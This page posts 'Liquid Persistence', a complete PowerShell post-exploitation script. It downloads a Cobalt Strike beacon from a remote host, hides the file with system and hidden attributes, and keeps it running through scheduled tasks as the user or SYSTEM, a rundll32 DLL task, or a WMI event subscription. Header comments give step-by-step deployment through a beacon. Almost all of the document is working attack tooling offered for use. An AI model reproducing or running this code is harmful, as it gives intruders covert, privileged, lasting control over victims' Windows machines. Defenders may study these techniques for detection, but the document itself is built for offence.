Back

Liquid Persistence

Posted: 01-28-2025

LICENSE

Language: Powershell

<#
# Liquid Persistence
#
# Author   : Trigat
# License  : GNU General Public License v3.0
#
# Usage:
#   powershell -ExecutionPolicy Bypass -File "C:\path\liquid.ps1" <mode>
#
# Supported modes:
#   task        = Create scheduled task as non-elevated user
#   tasksystem  = Create scheduled task running as SYSTEM
#   taskrun     = Run scheduled task immediately
#   taskdll     = Create scheduled task to execute DLL as SYSTEM
#   taskclean   = Remove scheduled task
#   wmi         = Create WMI Event Subscription as SYSTEM
#   wmiclean    = Remove WMI Event Subscription
#
# Example:
#   .\liquid.ps1 wmi
#
# Notes:
#   - Update $bPath and $bName below to match your beacon binary (or payload).
#
# Cobalt Strike Example:
#
# * Host beacon at an HTTP(S) endpoint.
#   Within Cobalt Strike, navigate to Site Management > Host File.
#   Host with domain name or IP: http://domain.com:80/beacon.exe
#
#   Use Cobalt Strike to upload the script.
#   beacon> upload C:\payloads\liquid.ps1
#
#   Execute:
#   beacon> shell powershell -ExecutionPolicy Bypass -File "C:\windows\tasks\liquid.ps1" wmi -Verb RunAs
#>
param ([string]$mode)

$bPath = "https://domain.com:443/beacon.exe"
$bName = "beacon.exe"

switch ($mode) {
    "task" {
        # Command to run as Non-Administrator
        $dPath = "c:\users\public\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
        attrib +s +h $dPath
        $UserName = [System.Environment]::UserName
        $DUP = 'dupdate'; $HM = "-Command `"if (!(Get-Process -Name $DUP -ErrorAction SilentlyContinue)) { Start-Process '$dPath' }`""; $N = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $HM; $TR = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3); $S = New-ScheduledTaskSettingsSet; $ST = New-ScheduledTask -Action $N -Trigger $TR -Settings $S; Register-ScheduledTask dupdate -InputObject $ST;
    }
    "tasksystem" {
        # Command to run as Administrator
        $dPath = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
        attrib +s +h $dPath
        $DUP = 'dupdate'; $HM = "-Command `"if (!(Get-Process -Name $DUP -ErrorAction SilentlyContinue)) { Start-Process '$dPath' }`""; $U = "NT AUTHORITY\SYSTEM"; $R = "Highest"; $SA = "ServiceAccount"; $P = New-ScheduledTaskPrincipal -UserID $U -LogonType $SA -RunLevel $R; $N = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $HM; $TR = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2); $S = New-ScheduledTaskSettingsSet; $ST = New-ScheduledTask -Action $N -Trigger $TR -Settings $S -Principal $P; Register-ScheduledTask dupdate -InputObject $ST;
    }
    "taskdll" {
        # Command to run as Administrator
        $dPath = "C:\Windows\Tasks\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
        attrib +s +h $dPath
        $DUP = 'dupdate'; $HM = "-Command `"if (!(Get-Process -Name $DUP -ErrorAction SilentlyContinue)) { Start-Process 'C:\\Windows\\System32\\rundll32.exe' -ArgumentList '$dPath,StartW' }`""; $U = "NT AUTHORITY\SYSTEM"; $R = "Highest"; $SA = "ServiceAccount"; $P = New-ScheduledTaskPrincipal -UserID $U -LogonType $SA -RunLevel $R; $N = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $HM; $TR = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 10); $S = New-ScheduledTaskSettingsSet; $ST = New-ScheduledTask -Action $N -Trigger $TR -Settings $S -Principal $P; Register-ScheduledTask dupdate -InputObject $ST;
    }
    "taskrun" {
        # Run scheduled task
        $DU = "dupdate"; $BN = Start-ScheduledTask -TaskName $DU; $BN
    }
    "taskclean" {
        # Remove Task
        unregister-ScheduledTask -TaskName "dupdate" -Confirm:$false
        $dPath1 = "c:\users\public\$bName"
        $dPath2 = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName"
        $dPath3 = "C:\Windows\Tasks\$bName"

        # Function to remove attributes and delete file
        function Remove-File {
            param (
                [string]$filePath
            )

            if (Test-Path $filePath) {
                # Remove hidden and system attributes
                attrib -s -h $filePath
                # Delete the file
                Remove-Item $filePath -Force
                Write-Host "Deleted: $filePath"
            }
            else {
                Write-Host "File not found: $filePath"
            }
        }

        # Check paths
        Remove-File -filePath $dPath1
        Remove-File -filePath $dPath2
        Remove-File -filePath $dPath3
    }
    "wmi" {
        # WMI Event Subscription
        $dPath = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile($bPath, $dPath)
        attrib +s +h $dPath
        $FilterArgs = @{name='dupdate'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs; $ConsumerArgs = @{name='dupdate'; CommandLineTemplate="$dPath";}; $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs; $FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer}; $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
    }
    "wmiclean" {
        # Remove WMI Event Subscription
        $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'dupdate'"
        $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'dupdate'"
        $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
        $FilterConsumerBindingToCleanup | Remove-WmiObject
        $EventConsumerToCleanup | Remove-WmiObject
        $EventFilterToCleanup | Remove-WmiObject
        $dPath = "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\$bName";
        # Function to remove attributes and delete file
        function Remove-File {
            param (
                [string]$filePath
            )

            if (Test-Path $filePath) {
                # Remove hidden and system attributes
                attrib -s -h $filePath
                # Delete the file
                Remove-Item $filePath -Force
                Write-Host "Deleted: $filePath"
            }
            else {
                Write-Host "File not found: $filePath"
            }
        }

        # Check paths
        Remove-File -filePath $dPath
    }
    default {
        Write-Host "Invalid mode specified. Use 'task', 'tasksystem', 'taskdll', 'taskrun', 'taskclean', 'wmi', or 'wmiclean'"
        exit 1
    }
}
Back